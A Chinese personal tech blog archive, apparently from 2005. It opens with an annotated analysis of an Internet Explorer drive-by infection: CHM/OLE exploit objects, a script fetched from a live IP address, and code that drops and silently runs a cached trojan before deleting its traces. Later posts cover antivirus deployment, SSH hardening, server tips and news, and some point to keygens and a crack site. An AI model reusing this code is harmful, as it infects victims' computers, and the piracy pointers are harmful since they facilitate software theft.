<divstyle="display:none">
//利用chm漏洞
<OBJECTid="news140"type="application/x-oleobject"classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"><PARAMname="Command"value="RelatedTopics,MENU"><PARAMname="Window"value="$global_ifl">
<PARAMname="Item1"value='command;/windows/help/apps.chm');</OBJECT>
<OBJECTid="news162"type="application/x-oleobject"classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"><PARAMname="Command"value="RelatedTopics,MENU"><PARAMname="Window"value="$global_ifl">
//利用chm漏洞执行mmmmm.gif里面的脚本程序
<PARAMname="Item1"value='command;javascript:eval("document.write("<SCRIPTlanguage=JScriptsrc="http://218.106.9.136/inc/mmmmm.gif""+String.fromCharCode(62)+"</SCR"+"IPT"+String.fromCharCode(62))")'>
</OBJECT>
</div>
<SCRIPT>news140.Click();f1=1+1;f1=f1+2;setTimeout("news162.Click();",0);fu1=2;fu1=3+4;</SCRIPT></BODY></HTML>
//又是一个障眼法,重定向到http://xuemulove.com/a.gif,文件不存在
<iframesrc="http://xuemulove.com/a.gif"width="0"height="0">
</iframe><BODYonload="window.status='页面已装载!'">

mmmmm.gif分析:代码隐藏原理和fucksnow.htm一样,替换掉空格后看到以下代码
document.write('<html><HEAD><SCRIPTlanguage=JScript>window.moveTo(4000,4000);window.resizeTo(0,0);</SCRIPT></HEAD></html>');    //把弹出窗口移到x,y=4000,4000的位置,另你看不到
//利用ADODB写文件
try{BOSSYU=newActiveXObject("ADODB.Recordset");BOSSYU.Fields.Append("a",200,3000);BOSSYU.Open();BOSSYU.AddNew();BOSSYU.Fields("a").Value="
//写进去的代码
<HTML><BODYonLoad="window.moveTo(4000,4000);">
<HEAD><SCRIPTlanguage=JScript>window.moveTo(4000,4000);window.resizeTo(0,0);</SCRIPT></HEAD>
//利用HTA执行所需要的操作
<HTA:APPLICATIONID=kk3714CAPTION="no"BORDER="none"HEIGHT="0"SHOWINTASKBAR="no"WIDTH="0">
<BODYscroll="no"leftmargin="0"topmargin="0"marginwidth="0"marginheight="0">
<SCRIPTLANGUAGE="JavaScript">
//在打开fucksnow.htm的时候已经加载了xxxxx.pif文件,这时该文件已经在IE的缓存中。由于IE的一些特性,该文件会被保存为xxxxx[1].pif xxxxx[2].pif等类似的文件名,下面的程序子就是为了把他找出来,并执行他
function thanks(b){
try{
varc=new Enumerator(YUri.GetFolder(b).SubFolders);
for(;!c.atEnd();c.moveNext())
{var zI01=c.item().Path+"xxxxx[1].pif";
var z1=c.item().Path+"xxxxx[2].pif";
var f="C\:boot.exe";
if(YUri.FileExists(zI01))     //找到木马文件xxxxx[1].pif
 {YUri.CopyFile(zI01,f)     //copy到 c:\boot.exe
w00sh.Run(f,0,false);      //执行木马
v=1;break;}
if(YUri.FileExists(z1))        //同上,只不过文件名为xxxxx[2].pif
{YUri.CopyFile(z1,f);
w00sh.Run(f,0,false);
v=1;break;}
thanks(c.item());}}
catch(e){}}
function agree(){
path="c:\boOt.bat";     //建立boot.bat批处理
v=kk3714.commandLine;
v=v.substring(1,v.length-2);
var_w=YUri.CreateTextFile(path);
_w.Write('@eCho oFf rn:ArnDeL"'+v+'"rnifeXiSt"'+v+'"gOtoArnDEl%0');   //写命令到boot.bat里面,BAT里面的内容:
====================
@echo off
:a del v     //删除v , v为该执行文件c:\bootlog.hta
if exist v goto a   //如果还没删除则转到 a,继续执行删除操作
del 0%    //自删除
====================
_w.close();
w00sh.Run(path,0,false);
window.close();
}
//获得IE缓存存放位置以查找xxxxx.pif
varv=0;
try{
varYUri=newActiveXObject("Scripting.FileSystemObject");
varw00sh=newActiveXObject("WScript.Shell");
varcache=w00sh.RegRead("HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerShellFoldersCache");
}catch(e){}
function fish()
{try{if(v==0){thanks(cache+'..');setTimeout("fish()",4000);}else{agree();}}catch(e){}}
fish();</SCRIPT></BODY></HTML>";
//存为c:\bootlog.hta并执行
BOSSYU.Update();}catch(e){}try{BOSSYU.Save("c:\bootlog.hta",0);}catch(e){}document.write('<objectid="bbs1"type="application/x-oleobject"classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"><paramname="Command"value="shortcut"><paramname=item1value=",c:\bootlog.hta"></object>
<OBJECTid="bbs2"type="application/x-oleobject"classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"><paramname="Command"value="Close"><paramname=kav"value="out"></oBjEct>
<ScRipt>c=1;bbs1.Click();c=1;c=c+5;bbs2.Click();c=c+1;</script>');
基本上是利用了chm漏洞,如果系统打过所有补丁是不会中招的;临时禁用java script也可以防止。
 
放入Symantec AntiVirus安装光盘自启动(或点击应用程序setup)后,选择“安装管理员工具”。如下图所示。
 
再选择“安装Symantec系统中心”。如下图所示。
 
下一步,安装Symantec System Center。如下图所示
 
 
安装完成后请重新启动操作系统。如下图所示。
 
重新启动操作系统后运行Symantec系统中心控制台。如下图所示。
 
在Symantec系统中心控制台,选择“工具”→“AV服务器分装”。如下图所示。
 
 
下一步,安装Symantec AntiVirus服务器。如下图所示。
 
 
 
下一步,选择计算机,将网络里的计算机添加到目标计算机中。如下图所示。
***注意这里您的计算机必须要联接网络***
 
 
 
下一步,键入您要建立的Symantec AntiVirus服务器组名称。如下图所示。
 
 
输入Symantec AntiVirus服务器组的密码。如下图所示。
 
下一步,选择服务器程序的运行方式。如下图所示。

 
完成安装进度后,点击关闭后AV服务器就分装完毕。如下图所示。
 
在Symantec系统中心控制台,选择“工具”→“搜索服务”。如下图所示。
在“搜索服务”属性里选择“立即清除缓存信息”确定,将您建立的Symantec AntiVirus服务器组名称搜索出来。如下图所示。
 
在Symantec系统中心控制台,选择您建立的Symantec AntiVirus服务器组名称,点击鼠标右键选择“解除服务器组的锁定”。如下图所示。
 
在Symantec系统中心控制台,选择您建立的Symantec AntiVirus服务器组名称,点击鼠标右键选择“使服务器成为一级服务器”。如下图所示。

 

在Symantec系统中心控制台,选择您建立的Symantec AntiVirus服务器组名称,点击鼠标右键选择“所有任务”→“Symantec AntiVirus” →“客户端管理员专用选项”及“服务器调整选项”,根据您的要求定义。如下图所示。
 
关于使用Web在线安装方式:
需要在Symantec AntiVirus防病毒服务器上安装IIS服务,在“默认网站”点击鼠标右键选择“新建”→“虚拟目录”。如下图所示。
 
 
 
创建虚拟目录完成后,需要在IIS中的 MIME类型里注册一下.ini和.dat文件扩展名。否则Web在线安装时会提示文件下载错误! 如下图所示。
 
 
完成IIS配置后,编辑服务器上的C:\Program Files\SAV\CLT-INST\WEBINST文件夹的start.htm文件,将VALUE=www.servername.com改为您的服务器地址,将VALUE="webinstall"改为您的服务器虚拟目录。如下图所示。
将服务器上C:\Program Files\SAV\CLT-INST\WIN32文件夹里的文件拷贝到C:\Program Files\SAV\CLT-INST\WEBINST\webinst目录里,修改files.ini文件。
举例:
[General]
FileCount=8
LaunchApplication=Setup.exe
InstallOptions=/s /v"/qb"
[Files]
File1=GRC.DAT
File2=Setup.exe
File3=Setup.ini
File4=Data1.cab
File5=0x0804.ini
File6=VDefHub.zip
File7=instmsiw.exe
File8=Symantec AntiVirus.msi


完成Symantec AntiVirus防病毒服务器所有配置后,客户端安装只需打开浏览器输入http://服务器地址/虚拟目录/就可进行Web方式在线安装。如下图所示。

 
 

2005:Intel不知所措的一年

| | Comments (0) | TrackBacks (0)
2005年,Intel除了为我们带来了一大堆令人困惑的处理器编号外,就只是祈祷AMD不要夺走太多的市场份额了,而事实证明这也仅仅是希望。今年AMD大步入侵Intel的服务器市场领地,并且还将把这种势头保持到明年。
 
AMD今年再也不像以前那样在台式机CPU市场和Intel纠缠,而是将矛头直指老大哥的咽喉——服务器处理器市场,并且也成功地在这一领域对Intel造成了巨大的冲击,尽管这是以损失销售收入为代价。
 
在笔记本市场方面,AMD也继续向Intel发起挑衅。尽管其“Turion”笔记本处理器在CES大展上出尽风头,但到了5月份相关产品才真正面世,而Intel这时也坐不住了,终于做出了今年仅有的几件实事,这其中当然不包括其战略图上仍然保留Itanium。
 
5月初,Intel开始着手处理器的65nm制程转换工作,同时还确认将用Pentium M来取代Pentium 4。
 
接下来,人们发现Opteron是如此轻松地干掉Intel Xenon,某厂商甚至预测到2005年底,AMD将获得15%的服务器处理器市场份额。
 
而在5月份的“Gartner System Builder Summit”大会上,服务器主板厂商超微确信AMD的Opteron处理器已经流行起来,其Opteron主板也成为会上的明星。某知名厂商甚至透露Intel根本不敢在高性能计算机(HPC)领域和AMD叫板。
 
随后在旧金山,Intel透露了“Napa”的技术细节,并且宣布Yonah将于明年早期面世。8月份,Intel又为我们描绘了“Montecito”的美好图景,但这一切都无法阻止Itanium这一昔日旗舰的覆灭。
 
到目前为止,Intel仍然继续获取着巨额利润,同时也无疑仍是笔记本市场的霸主,不过我们对AMD Opteron在明年的表现寄予厚望,而Intel现在只能寄希望于Yonah,Merom等等新核心处理器。至于明年1月份即将出现的Viiv,Intel目前正忙着劝说消费者:不管Pentium 4“芯”还是Pentium M“芯”,只要是Viiv就是好“机”。

RSS应用的最高境界

| | Comments (0) | TrackBacks (0)
由台湾 Yi Tien科技公司为各位打造的如厕用 RSS Reader,可以将你所需要的 RSS 新闻讯息,用卫生纸列出来
rsstroom_reader.jpg
 
还支持RSS2.0标准,我晕死!!还附一个浏览器型控制面板的“厕所信息管理中心”,天,赶紧去Engadget那里看看究竟吧!!那里有详细信息。
 
不过,你可不要看这个过头了,而且别带手机哦,要提醒你:蹲马桶打手机请小心!
 

一位就读于乌克兰国立傲德萨制冷学院(Ukraine’s Odessa State Academy of Refrigeration)的黎巴嫩学生日前因为手夹在马桶里,所以需要出动急救小组,紧急抢救他可怜的胳臂。
 

管理局域网的软件

| | Comments (0) | TrackBacks (0)
管理局域网的p2p软件。可以禁止bt、讯雷、电驴等。
并可以禁止使用qq、msn等聊天软件。。。
 
2005-12-12_14-53-19.jpg 2005-12-12_14-53-31.jpg 2005-12-12_14-53-39.jpg 2005-12-12_14-53-45.jpg 2005-12-12_14-53-54.jpg

servu的本地加密如此脆弱。。

| | Comments (0) | TrackBacks (0)

只要编辑servu的安装目录下的ini文件。就可以把本地的密码去掉。太脆弱了。。

ssh 安全化

| | Comments (0) | TrackBacks (0)
如果您仍然使用 telnet, 而不是 ssh, 则需要改变对本手册的阅读方式. 应当用 ssh 来取代所有的 telnet 远程登录. 任何时候通过嗅探互联网通讯来获取明文密码都是相当简单的, 您应该采用使用加密算法的协议. 那么, 现在在你的系统上执行 apt-get install ssh .
 
鼓励您系统上的所有用户使用 ssh 取代 telnet, 或者更进一步, 卸载 telnet/telnetd. 另外您应该避免使用 ssh 以 root 身份登录, 其替代的方法是使用 su 或 sudo 转换成 root 用户. 最后, /etc/ssh 目录下的 sshd_config 文件, 应当作如下修改, 以增强安全性:
 
ListenAddress 192.168.0.1
使得 ssh 只监听一个指定的接口, 如果你有多个(并不想在其上边获得 ssh 服务)接口, 或者将来会增加一块新网卡(但并不想通过它连接ssh服务).
 
PermitRootLogin no
尝试任何情况先都不允许 Root 登录. 如果有人想通过 ssh 成为 root, 需要两次登录, 并且root的密码现在仍不可能通过SSH暴力破解.
 
Listen 666
改变监听端口, 这样入侵者不能完全确定是否运行了sshd守护进程(事先警告,这是模糊安全的).
 
PermitEmptyPasswords no
空密码是对系统安全的嘲弄.
 
AllowUsers alex ref me@somewhere
只允许某些用户通过 ssh 访问主机. user@host 也可用于限制指定用户通过指定主机访问.
 
AllowGroups wheel admin
仅允许某个组的成员通过 ssh 访问主机. AllowGroups 和 AllowUsers 对于拒绝访问主机有同样的效果. 当称它们为 "DenyUsers" 和 "DenyGroups" 时不要觉得奇怪.
 
PasswordAuthentication yes
这完全取决于您的选择. 仅仅允许用户使用置于 ~/.ssh/authorized_keys 文件中的 ssh-keys 登录主机将更加安全. 如果要达到这种效果,将其设为 "no".
 
禁用所有的您不需要的认证方式, 如果您用不到, 例如 RhostsRSAAuthentication, HostbasedAuthentication, KerberosAuthentication 或 RhostsAuthentication(例如), 您应该将其禁用, 即使它们是缺省设置(参阅联机帮助 sshd_config(5)).
Protocol 2
禁用版本1协议, 因为其设计缺陷, 很容易使密码被黑掉. 更多信息, 参阅 ssh协议问题报告 或 Xforce 通告.
 
Banner /etc/some_file
为用户连接到 ssh 服务器增加一个标题(它将从文件读取), 在一些国家, 登入给定系统前, 给出未经授权或者用户监视警告信息, 将会受到法律的保护.
 
 

NIS2006 keygen

| | Comments (0) | TrackBacks (0)
没有测试。
 

偶然发现的破解网站。。

| | Comments (0) | TrackBacks (0)
偶然发现的。。
但也要承认,虽然东西很多。我也无能为力。。。。
 
 
2005-12-10_23-18-01.jpg

解决w3wp.exe内存占用问题

| | Comments (2) | TrackBacks (2)
在IIS6下,经常出现w3wp的内存占用不能及时释放,从而导致服务器响应速度很慢。
今天研究了一下,可以做以下配置:
1、在IIS中对每个网站进行单独的应用程序池配置。即互相之间不影响。
2、设置应用程序池的回收时间,默认为1720小时,可以根据情况修改。同时,设置同时运行的w3wp进程数目为1。再设置当内存或者cpu占用超过多少,就自动回收内存
 
 
一般来说,这样就可以解决了。但仍然会出现个别网站因为程序问题,不能正确释放。
那么,怎么样才能找到是哪一个网站的?
 
1、在任务管理器中增加显示pid字段。就可以看到占用内存或者cpu最高的进程pid
2、在命令提示符下运行iisapp -a。注意,第一次运行,会提示没有js支持,点击确定。然后再次运行就可以了。这样就可以看到pid对应的应用程序池
3、到iis中察看该应用程序池对应的网站,就ok了

dmicfg

| | Comments (0) | TrackBacks (0)
dos下修改bios信息的小工具。可以用来修改主板bios来安装联想oem 的xp
 

去掉联想商用机的硬盘保护

| | Comments (2) | TrackBacks (0)
用的联想商用机,虽然没有安装硬盘保护。但每次启动都提示按F4安装保护系统,非常讨厌,又影响启动速度。
上网看了看,联想使用了HPA在硬盘上创建了一个隐藏分区。
下载hpatool,执行hpatool  /CLS。就可以了
 
 
联想商用机硬盘保护相关软件及使用说明
 

人生致命的八个经典问题!

| | Comments (0) | TrackBacks (0)
问题一,如果你家附近有一家餐厅,东西又贵又难吃,桌上还爬着蟑螂,你会因为它很近很方便,就一而再、再而三地光临吗?
回答:你一定会说,这是什么烂问题,谁那么笨,花钱买罪受?
可同样的情况换个场合,自己或许就做类似的蠢事。不少男女都曾经抱怨过他们的情人或配偶品性不端,三心二意,不负责任。明知在一起没什么好的结果,怨恨已经比爱还多,但却“不知道为什么”还是要和他搅和下去,分不了手。说穿了,只是为了不甘,为了习惯,这不也和光临餐厅一样?
——做人,为什么要过于执著?!
 
问题二,
如果你不小心丢掉100块钱,只知道它好像丢在某个你走过的地方,你会花200块钱的车费去把那100块找回来吗?
回答:一个超级愚蠢的问题。
可是,相似的事情却在人生中不断发生。做错了一件事,明知自己有问题,却*也不肯认错,反而花加倍的时间来找藉口,让别人对自己的印象大打折扣。被人骂了一句话,却花了无数时间难过,道理相同。为一件事情发火,不惜损人不利已,不惜血本,不惜时间,只为报复,不也一样无聊?失去一个人的感情,明知一切已无法挽回,却还是那么伤心,而且一伤心就是好几年,还要借酒浇愁,形销骨立。其实这样一点用也没有,只是损失更多。
——做人,干吗为难自己?!
 
问题三,
你会因为打开报纸发现每天都有车祸,就不敢出门吗?回答:这是个什么烂问题?当然不会,那叫因噎废食。然而,有不少人却曾说:现在的离婚率那么高,让我都不敢谈恋爱了。说得还挺理所当然。也有不少女人看到有关的诸多报道,就对自己的另一半忧心忡忡,这不也是类似的反应?所谓乐观,就是得相信:虽然道路多艰险,我还是那个会平安过马路的人,只要我小心一点,不必害怕过马路。
——做人,先要相信自己。
 
问题四,
你相信每个人随便都可以成功立业吗?
回答:当然不会相信。
但据观察,有人总是在听完成功人士绞尽脑汁的建议,比如说,多读书,多练习之后,问了另一个问题?那不是很难?我们都想在3分钟内学好英文,在5分钟内解决所有难题,难道成功是那么容易的吗?改变当然是难的。成功只因不怕困,所以才能出类拔萃。有一次坐在出租车上,听见司机看到自己前后都是高档车,兀自感叹:“唉,为什么别人那么有钱,我的钱这么难赚?”我心血来潮,问他:“你认为世上有什么钱是好赚的?”他答不出来,过了半晌才说:好像都是别人的钱比较好赚。其实任何一个成功者都是艰辛取得。我们实在不该抱怨命。
——做人,依靠自己!
 
问题五,
你认为完全没有打过篮球的人,可以当很好的篮球教练吗?
回答:当然不可能,外行不可能领导内行。
可是,有许多人,对某个行业完全不了解,只听到那个行业好**,就马上开起业来了。我看过对穿着没有任何口味、或根本不在乎穿着的人,梦想却是开间服装店;不知道电脑怎么开机的人,却想在网上**,结果道听途说,却不反省自己是否专业能力不足,只抱怨时不我与。
——做人,量力而行。
 
问题六,
相似但不相同的问题:你是否认为,篮球教练不上篮球场,闭着眼睛也可以主导
一场完美的胜利?
回答:有病啊,当然是不可能的。
可是却有不少朋友,自己没有时间打理,却拼命投资去开咖啡馆,开餐厅,开自己根本不懂的公司,火烧屁股一样急着把辛苦积攒的积蓄花掉,去当一个稀里糊涂的投资人。亏的总是比赚的多,却觉得自己是因为运气不好,而不是想法出了问题。
——做人,记得反省自己。
 
问题七,
你宁可永远后悔,也不愿意试一试自己能否转败为胜?
解答:恐怕没有人会说:“对,我就是这样的孬种”吧。
 
然而,我们却常常在不该打退堂鼓时拼命打退堂鼓,为了恐惧失败而不敢尝试成功。以关颖珊赢得2000年世界花样滑冰冠军时的精彩表现为例:她一心想赢得第一名,然而在最后一场比赛前,她的总积分只排名第三位,在最后的自选曲项目上,她选择了突破,而不是少出错。在4分钟的长曲中,结合了最高难度的三周跳,并且还大胆地连跳了两次。她也可能会败得很难看,但是她毕竟成功了。
她说:“因为我不想等到失败,才后悔自己还有潜力没发挥。” 一个中国伟人曾说;胜利的希望和有利情况的恢复,往往产生于再坚持一下的努力之中。
——做人,何妨放手一搏。
 
问题八,
你的时间无限,长生不老,所以最想做的事,应该无限延期?
回答:不,傻瓜才会这样认为。
 
然而我们却常说,等我老了,要去环游世界;等我退休,就要去做想做的事情;等孩子长大了,我就可以…… 我们都以为自己有无限的时间与精力。其实我们可以一步一步实现理想,不必在等待中徒耗生命。如果现在就能一步一步努力接近,我们就不会活了半生,却出现自己最不想看到的结局。

Norton.Systemworks.Premier.2006

| | Comments (1) | TrackBacks (0)
Premier版本,包含了ghost。
强烈推荐,不过我没有安装。而现在似乎还没有好用的keygen。。。
2005-12-08_08-35-22.jpg 2005-12-08_08-39-40.jpg 2005-12-08_08-40-12.jpg

WinServer 2003 R2 RTM发布

| | Comments (0) | TrackBacks (0)
        微软昨天(北京时间12月6日)宣布:Windows Server 2003 R2已经提供给PC厂商。Windows Server 2003 R2是操作系统Windows Server 2003的升级版。
在Windows Server 2003在升级了SP1的基础上,Windows Server 2003 R2在扩展连通性的时候充分利用了代码库的稳定性和安全性,并扩展到新的领域。Windows Server 2003 R2提供了Windows Server 2003 SP1的所有功能,这极大的改进了分公司服务器的解决方案,一致性和访问控制,存储安装和管理,还有在公司的传统范围内和外的应用程序开发。
 
  而且,Windows Server 2003 R2很容易整合到目前存在的Windows Server 2003环境中,因为它们像现存集成SP1的Windows Server 2003一样有相同的应用程序兼容性,可管理性和适用性。

申请了微软的电子邮局

| | Comments (0) | TrackBacks (0)
刚刚申请的微软的http://domains.live.com/
嘿嘿。邮箱meteor@syxin.com
 
 
2005-12-07_14-28-37.jpg 2005-12-07_14-29-24.jpg 2005-12-07_14-30-18.jpg

dreammail 可以用rss了。。

| | Comments (0) | TrackBacks (0)
dreammail支持按日期归类邮件了,于是又换回了dreammail。
发现支持rss了。加了几个,效果不错。除了几个小bug。。。。
2005-12-06_16-26-55.jpg 2005-12-06_16-27-13.jpg
英国权威媒体卫报 (Guardian Newspapers)报道:“科学家研究表明,地球上的电脑很可能遭到外星人的入侵。”目前还没有证据显示Linux能够幸免于这样的入侵。
 
而Windows就没有这样的安全隐患,因为来自Forrester的报道指出“微软是唯一一个100%修正已知漏洞的软件厂商”,“Windows在所有评测的平台当中漏洞及‘高危’漏洞的数目都是最少的”。
 
上述信息显然绝对可靠,因为它是来自微软官方的“Get the FUD”网站。
 
外星高级智慧生命如何侵入Linux
 
既然外星人可以进行星际远航来到地球,他们的科技水平显然远在我们之上。由于开源社区接受来自任何生命体编写的代码,因此不难想象是这些家伙帮助推进了地球上的开源软件运动;它们的科技是如此先进,因此也不难想象其代码中含有隐藏指令会在适当的时候启动并令我们的一切防御体系瘫痪。
 
我们知道Linux之父Linus Torvalds或者Apache等大型开源项目在接受代码前都会进行仔细的检查。但别忘了我们现在谈论的是超前我们很多的外星智慧体,即使是Linus这样的天才也无法发现它们隐藏的恶意代码。想象一下,这样的代码也许就隐藏在一个普通的Linux硬件驱动程序中,然后和OpenOffice、XMMS等程序中其他恶意代码片断结合,最终被一个基于Apache的网站上某条代码信息激活——即使是最为严密的五角大楼电脑网络恐怕也难于抵挡这样渗透方式,随后外星人就可以轻易地制造假目标并将美国的核武器倾泻出去……
 
为什么知识产权软件更安全
 
你有没有试过向微软提交一大堆代码要求加入下一版的Windows中?即使你的编程水平很高恐怕也要吃闭门羹。Windows和其他微软的软件——实际上所有的知识产权软件都由软件厂商员工以及经过挑选的承包商来编写,并不会接受来自陌生人的代码。
 
综上所述,Windows在面对外星黑客入侵威胁的时候要安全的多,最重要的是,外星人无法在Windows中隐藏代码,却可以轻易地成为Linux内核代码贡献者并在Linux中加入邪恶的“复活节彩蛋”。
 
你确定开源软件中的每一条代码都是来自地球人之手吗?我不这么认为。
 
如果你不想受到外星人的攻击,目前最保险的手段就是采用知识产权软件,我已经迫不及待想要删除简单而又稳定的Linux,换上Windows系统。

Vista重要新功能:重启管理器

| | Comments (0) | TrackBacks (0)
Windows Vista系统又将迎来一项全新的重要功能:重启管理器(Restart Manager)。该管理器可以在无需完全重启整个系统的情况下对系统或程序进行必要的升级更新。
 
微软官方尚未公开谈论此项新功能,不过微软平台产品及服务部门总裁Jim Allchin最近透露说:“如果某个程序的一部分或者操作系统本身需要升级,安装程序就会启动重启管理器,由后者负责查看是否可以清除操作系统的相关部分以便进行升级。如果可以,就不必重启整个系统了;如果重新启动是必需的,重启管理器会记录下当前操作系统和应用程序的状态,在重启后将一切恢复原样。”
 
据微软MSDN Windows Vista开发中心网站介绍,重启管理器将与Microsoft Update、Windows Update、Windows Server Update Services、Microsoft Software Installer、Microsoft Systems Management Server等组件协同工作,“以检测相关的进程,‘温柔地’中断和重启它们。如果应用程序在编写的时候结合了重启管理器的新特征,那么程序在重启后可完全恢复原有状态。”
 
应该说要完全避免重新启动是不现实的,不过这个新的重启管理器给我们带来了新的希望。重启管理器的目的不是彻底消除重启,而是在最大限度上减少由此带来的麻烦。有了重启管理器,即使系统的重新启动是必需的,我们也只需要等待一段时间,即可看到与重启前并无二致的状态。当然,从微软网站的介绍来看,应用程序可能需要为此进行部分重新改写

Adobe为CS2套装加入Macromedia产品

| | Comments (0) | TrackBacks (0)
周五,美国联邦管理机关最终正式批准了Adobe对Macromedia高达34亿美元的收购案。现在,Adobe已经迫不及待地要利用这一合并优势了:Adobe今天宣布为旗下Creative Suite 2 Premium(CS2)产品套装加入一系列Macromedia产品,组成更大规模的产品套装。
 
Adobe此次推出的大型产品套装有两种,其一是面向专业设计人员,主要包括Photoshop、Illustrator、InDesign、GoLive、Acrobat 7、Cue等原有CS2产品和原Macromedia的Flash Professional 8。套装要价$1600,比二者单独出售的总价格低$300。
 
另一套装以原Macromeida的Sutido 8替换了Flash 8,这对用户可能会更具吸引力。Studio 8又由Flash Pro 8、Dreamweaver 8、Fireworks 8、Contribute 8和Flash Paper 2等几部分组成。套装要价$1900,但仍比二者单独出售的总价格低$300。
 
不过这种整合式的套装也显示了合并后Adobe产品线的重复,比如GoLive与Dreamweaver、Acrobat与Flash Paper。如果Adobe今后放弃某一种产品,应该也是顺理成章的事情。另外,Adobe还有望将原Macromedia的Flash Lite推向移动平台和企业应用平台Breeze。

修改php支持的内存大小

| | Comments (0) | TrackBacks (0)
测试xaraya的时候,安装过程中说运行需要的php使用内存至少为8m。只能修改了。。
 
nano /etc/php5/apache2/php.ini
找到
 
;;;;;;;;;;;;;;;;;;;
; Resource Limits ;
;;;;;;;;;;;;;;;;;;;
 
max_execution_time = 30     ; Maximum execution time of each script, in seconds
max_input_time = 60 ; Maximum amount of time each script may spend parsing request data
memory_limit = 8M      ; Maximum amount of memory a script may consume (8MB)

修改成需要的大小就可以了
最新的波斯王子3。用了sf3的加密,也就是传说中的需要拔掉光驱线的加密方式。。。
我的确懒。。当你接了3个光驱之后也会像我一样不愿意拔。。。
我甚至在bios里面把ide通道全部禁用。。依然通不过验证。。。。
只能说,的确很bt,,,
 
 
 
2005-12-05_21-42-21.jpg

apache2做基于域名的虚拟主机

| | Comments (0) | TrackBacks (0)
NameVirtualHost 127.0.0.1
<VirtualHost webstite>
        ServerName website1
        ServerAlias website2
        DocumentRoot /website
 </VirtualHost>
<VirtualHost website3>
        ServerName website3
        DocumentRoot /website3
</VirtualHost>
 再一次,自信的AMD向龙头老大Intel发出挑战,并扬言可以进行公开的现场直播,其信心满满的姿态令Intel只能沉默是金:
 
"新加坡消息:AMD 已向英特尔发出挑战书,准备用自己的双核处理器与英特尔的双核处理器进行基准测试,一决性能高下。如果英特尔接受此项挑战提议,那么这次比试活动将于12月6 日在新加坡这个岛国举行。
 
由AMD 提出的这次双内核处理器比试活动将进行现场直播,公众预计,这次比试的平台将是AMD 当前最好的双内核处理器Opteron 800 系列或是200 系列处理器,与英特尔相对应的Intel x86 商用处理器平台之间的对决。
 
有关这次挑战活动的消息,是上周初被作为广告宣传单夹在当地报纸中公之于众,这也是由AMD 发起的,继8 月23日在美国的挑战活动后的又一次挑战。
 
AMD 东南亚地区销售与市场部副总裁,Bryan Low 在应ZDNet 亚洲记者的电子邮件采访时表示,本次挑战活动的目的就是“给消费者所关心的,相关处理器在计算能力及性能方面的信息,以便于他们能作出最佳选择。”
 
到目前为止,不管是在新加坡还是美国,英特尔都没有正式接受AMD 的挑战。截至发稿时为止,芯片市场的老大英特尔业也没有对事接受采访。"

Prince of Persia: The Two Thrones

| | Comments (0) | TrackBacks (0)
一直期待的波斯3,终于下载下来了:)
 
41_243324.jpg 41_243325.jpg 41_243326.jpg 41_243327.jpg 41_243328.jpg 41_243543.jpg

ps 命令

| | Comments (0) | TrackBacks (0)
man了一下
-A all processes                      -C by command name
-N negate selection                   -G by real group ID (supports names)
-a all w/ tty except session leaders  -U by real user ID (supports names)
-d all except session leaders         -g by session OR by effective group name
-e all processes                      -p by process ID
T  all processes on this terminal     -s processes in the sessions given
a  all w/ tty, including other users  -t by tty
g  OBSOLETE -- DO NOT USE             -u by effective user ID (supports names)
r  only running processes             U  processes for specified users
x  processes w/o controlling ttys     t  by tty
*********** output format **********  *********** long options ***********
-o,o user-defined  -f full            --Group --User --pid --cols --ppid
-j,j job control   s  signal          --group --user --sid --rows --info
-O,O preloaded -o  v  virtual memory  --cumulative --format --deselect
-l,l long          u  user-oriented   --sort --tty --forest --version
-F   extra full    X  registers       --heading --no-heading --context
                    ********* misc options *********
-V,V  show version      L  list format codes  f  ASCII art forest
-m,m,-L,-T,H  threads   S  children in sum    -y change -l format
-M,Z  security data     c  true command name  -c scheduling class
-w,w  wide output       n  numeric WCHAN,UID  -H process hierarchy

Linux常用命令

| | Comments (0) | TrackBacks (0)
 Linux之所以受到广大计算机爱好者的喜爱,主要原因有两个,首先它是自由软件,用户不用支付费用就可以使用它,并可根据自己的需要对它进行修改。另外,它具有Unix的全部功能,任何使用Unix系统或想要学习Unix系统的人都可以从中获益。
 
   让我们一起从每一个命令开始,走向Linux高手之路吧。
 
1.Linux进入与退出系统
进入Linux系统:
必须要输入用户的账号,在系统安装过程中可以创建以下两种帐号:
   1.root--超级用户帐号(系统管理员),使用这个帐号可以在系统中做任何事情。
   2.普通用户--这个帐号供普通用户使用,可以进行有限的操作。
   一般的Linux使用者均为普通用户,而系统管理员一般使用超级用户帐号完成一些系统管理的工作。如果只需要完成一些由普通帐号就能完成的任务,建议不要使用超级用户帐号,以免无意中破坏系统。影响系统的正常运行。
   用户登录分两步:第一步,输入用户的登录名,系统根据该登录名识别用户;第二步,输入用户的口令,该口令是用户自己设置的一个字符串,对其他用户是保密的,是在登录时系统用来辨别真假用户的关键字。
   当用户正确地输入用户名和口令后,就能合法地进入系统。屏幕显示:
[root@loclhost /root] #
 
这时就可以对系统做各种操作了。注意超级用户的提示符是“#”,其他用户的提示符是“$”。
 
修改口令
   为了更好的保护用户帐号的安全,Linux允许用户随时修改自己的口令,修改口令的命令是passwd,它将提示用户输入旧口令和新口令,之后还要求用户再次确认新口令,以避免用户无意中按错键。如果用户忘记了口令,可以向系统管理员申请为自己重新设置一个。
 
虚拟控制台
   Linux是一个真正的多用户操作系统,它可以同时接受多个用户登录。Linux还允许一个用户进行多次登录,这是因为Linux和UNIX一样,提供了虚拟控制台的访问方式,允许用户在同一时间从控制台进行多次登录。虚拟控制台的选择可以通过按下Alt键和一个功能键来实现,通常使用F1-F6例如,用户登录后,按一下Alt-F2键,用户又可以看到"login:"提示符,说明用户看到了第二个虚拟控制台。然后只需按Alt-F1键,就可以回到第一个虚拟控制台。 一个新安装的Linux系统默认允许用户使用Alt-F1到Alt-F6键来访问前六个虚拟控制台。虚拟控制台可使用户同时在多个控制台上工作,真正体现Linux系统多用户的特性。用户可以在某一虚拟控制台上进行的工作尚未结束时,切换到另一虚拟控制台开始另一项工作。
 
退出系统
   不论是超级用户,还是普通用户,需要退出系统时,在shell提示符下,键入exit命令即可。
 
Linux文件的复制、删除和移动命令
 
cp命令
该命令的功能是将给出的文件或目录拷贝到另一文件或目录中,同MSDOS下的copy命令一样,功能十分强大。
 
语法: cp [选项] 源文件或目录 目标文件或目录
 
说明:该命令把指定的源文件复制到目标文件或把多个源文件复制到目标目录中。
 
